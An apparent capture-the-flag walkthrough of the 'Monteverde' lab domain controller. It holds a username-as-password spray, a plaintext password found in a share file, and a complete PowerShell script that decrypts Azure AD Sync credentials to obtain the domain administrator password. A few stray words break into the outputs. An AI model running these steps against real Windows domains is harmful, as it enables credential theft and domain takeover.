

Monteverde

The scan show RPC and the domain name.

```
(kali㉿kali)-[~]
└─$ nmap -sC -sV -Pn -T5 10.10.10.172
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 13:23 EDT
Nmap scan report for MEGABANK.LOCAL (10.10.10.172)
Host is up (0.070s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2023-08-11 17:24:06Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0.,
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0.,
3269/tcp  open  tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-08-11T17:24:17
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.23 seconds
```

We add the machine's IP and domain to /etc/hosts.

```
GNU nano 7.2
127.0.0.1    localhost
127.0.1.1    kali
::1          localhost ip6-localhost ip6-loopback
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters
10.0.2.15    dc1.itsafe.co.il
10.0.2.10    ofek.itsafe.co.il
10.0.2.8     vtcsec
10.10.10.172 MEGABANK.LOCAL
```

```
(kali㉿kali)-[~]  
$ rpcclient -U "" -N 10.10.10.172  
rpcclient $> enumdomusers  
user:[Guest] rid:[0x1f5]  
user:[AAD_987d7f2f57d2] rid:[0x450]  
user:[mhope] rid:[0x641]  
user:[SABatchJobs] rid:[0xa2a]  
user:[svc-ata] rid:[0xa2b]  
user:[svc-bexec] rid:[0xa2c]  
user:[svc-netapp] rid:[0xa2d]  
user:[dgalanos] rid:[0xa35]  
user:[roleary] rid:[0xa36]  
user:[smorgan] rid:[0xa37]  
rpcclient $>
```

With rpcclient we get a list of usernames.

```
GNU nano 7.2  
user:[Guest] rid:[0x1f5]  
user:[AAD_987d7f2f57d2] rid:[0x450]  
user:[mhope] rid:[0x641]  
user:[SABatchJobs] rid:[0xa2a]  
user:[svc-ata] rid:[0xa2b]  
user:[svc-bexec] rid:[0xa2c]  
user:[svc-netapp] rid:[0xa2d]  
user:[dgalanos] rid:[0xa35]  
user:[roleary] rid:[0xa36]  
user:[smorgan] rid:[0xa37]
```

```
(kali㉿kali)-[~]  
$ cat m_users.txt | awk -F '[][]' '{print $2}'  
Guest  
AAD_987d7f2f57d2  
mhope  
SABatchJobs  
svc-ata  
svc-bexec  
svc-netapp  
dgalanos  
roleary  
smorgan
```

I filter to a new file only the names.

```
(kali@kali)-[~]
$ crackmapexec smb 10.10.10.172 -u m_users.txt -p m_users.txt
SMB 10.10.10.172 445 MONTEVERDE [+] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs

SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

With crackmapexec smb I attempt to see if a user exist with the same username as their password.
And we get a match on the last username.

```
(kali@kali)-[~]
$ smbmap -u "SABatchJobs" -p "SABatchJobs" -d MEGABANK.LOCAL -H 10.10.10.172
[+] IP: 10.10.10.172:445 Name: MEGABANK.LOCAL
Disk Permissions Comment
---
ADMIN$ NO ACCESS Remote Admin
azure_uploads READ ONLY
C$ NO ACCESS Default share
E$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
users$ READ ONLY
```

We can use smbmap and connect with our new user and look for information.

Inside there is a user name mhope with a file, So we download it and see what's inside.

```
(kali@kali)-[~]
$ smbmap -u "SABatchJobs" -p "SABatchJobs" -d MEGABANK.LOCAL -H 10.10.10.172 -r users$
[+] IP: 10.10.10.172:445      Name: MEGABANK.LOCAL
Disk
Permissions      Comment
users$           READ ONLY
.\users$\*
dr--r--r--      0 Fri Jan 3 08:12:48 2020 .
dr--r--r--      0 Fri Jan 3 08:12:48 2020 ..
dr--r--r--      0 Fri Jan 3 08:15:23 2020 dgalanos
dr--r--r--      0 Fri Jan 3 08:41:18 2020 mhope
dr--r--r--      0 Fri Jan 3 08:14:56 2020 roleary
dr--r--r--      0 Fri Jan 3 08:14:28 2020 smorgan
```

```
(kali@kali)-[~]
$ smbmap -u "SABatchJobs" -p "SABatchJobs" -d MEGABANK.LOCAL -H 10.10.10.172 -r users$/mhope
[+] IP: 10.10.10.172:445      Name: MEGABANK.LOCAL
Disk
Permissions      Comment
users$           READ ONLY
.\users$/mhope\*
dr--r--r--      0 Fri Jan 3 08:41:18 2020 .
dr--r--r--      0 Fri Jan 3 08:41:18 2020 ..
fw--w--w--      1212 Fri Jan 3 09:59:24 2020 azure.xml
```

```
(kali@kali)-[~]
$ smbmap -u "SABatchJobs" -p "SABatchJobs" -d MEGABANK.LOCAL -H 10.10.10.172 --download users$/mhope/azure.xml
[+] Starting download: users$/mhope/azure.xml (1212 bytes)
[+] File output to: /home/kali/10.10.10.172-users_mhope_azure.xml
```

```
(kali@kali)-[~]
$ cat 10.10.10.172-users_mhope_azure.xml
<<<Obj Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
```

The file contains a password and because we found it inside mhope we can check if they match.

```
(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.10.172 -u mhope -p "4n0therD4y@n0th3r$"

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
Data: For more information, check Evil-WinRM GitHub: https://github.com

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..
*Evil-WinRM* PS C:\Users\mhope> cd Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> dir

Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----Tools      8/11/2023   10:08 AM          34 user.txt
```

We get a connection and find our first flag.

```
mcode.ps1 - Code - OSS
File Edit Selection View Go Run Terminal Help

> mcode.ps1 x
home > kali > > mcode.ps1
1 $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=localhost;Integrated Security=true;Initial Catalog=msdb"
2 $client.Open()
3 $cmd = $client.CreateCommand()
4 $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
5 $reader = $cmd.ExecuteReader()
6 $reader.Read() | Out-Null
7 $key_id = $reader.GetInt32(0)
8 $instance_id = $reader.GetGuid(1)
9 $entropy = $reader.GetGuid(2)
10 $reader.Close()
11
12 $cmd = $client.CreateCommand()
13 $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
14 $reader = $cmd.ExecuteReader()
15 $reader.Read() | Out-Null
16 $config = $reader.GetString(0)
17 $crypted = $reader.GetString(1)
18 $reader.Close()
19
20 add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mccrypt.dll'
21 $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
22 $km.LoadKeySet($entropy, $instance_id, $key_id)
23 $key = $null
24 $km.GetActiveCredentialKey([ref]$key)
25 $key2 = $null
26 $km.GetKey(1, [ref]$key2)
27 $decrypted = $null
28 $key2.DecryptBase64ToString($crypted, [ref]$decrypted)
29
30 $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = $_.node.InnerText}
31 $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = $_.node.InnerText}
32 $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = $_.node.InnerText}
33
34 Write-Host ("Domain: " + $domain.Domain)
35 Write-Host ("Username: " + $username.Username)
36 Write-Host ("Password: " + $password.Password)
```

Through the user I upload a powershell with a goal to get a user from sql.

Create a Connection

You simply create an object of *System.Data.SqlClient.SqlConnection* and pass the connection string that will be used to connect to the given SQL Server instance...don't forget to open it.

```
$sqlConn = New-Object System.Data.SqlClient.SqlConnection
$sqlConn.ConnectionString = "Server=localhost\sql12;Integrated Security=true;Initial Catalog=master"
$sqlConn.Open()
```

I used this [website](https://www.sqlshack.com/connecting-powershell-to-sql-server) to make changes to the code to match it to my current situation [/https://www.sqlshack.com/connecting-powershell-to-sql-server](https://www.sqlshack.com/connecting-powershell-to-sql-server)

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> upload mcode.ps1

Info: Uploading /home/kali/mcode.ps1 to C:\Users\mhope\Desktop\mcode.ps1
Data: 2248 bytes of 2248 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\mhope\Desktop> dir

Directory: C:\Users\mhope\Desktop
EyeWitness

Mode                LastWriteTime         Length Name
----                -
-a-----         8/11/2023  10:58 AM          1687 mcode.ps1
-ar-----         8/11/2023  10:08 AM           34 user.txt

Mr.Robot
*Evil-WinRM* PS C:\Users\mhope\Desktop> .\mcode.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Desktop> 
```

After uploading it from Evil-WinRm and running it I managed to get an administrator user.

```
(kali㉿kali)-[~]
$ evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: glob
Data: For more information, check Evil-WinRM GitHub: https://github.co

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

Mr.Robot
Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----      8/11/2023  10:08 AM             34 root.txt
```

Inside the administrator we find the final flag.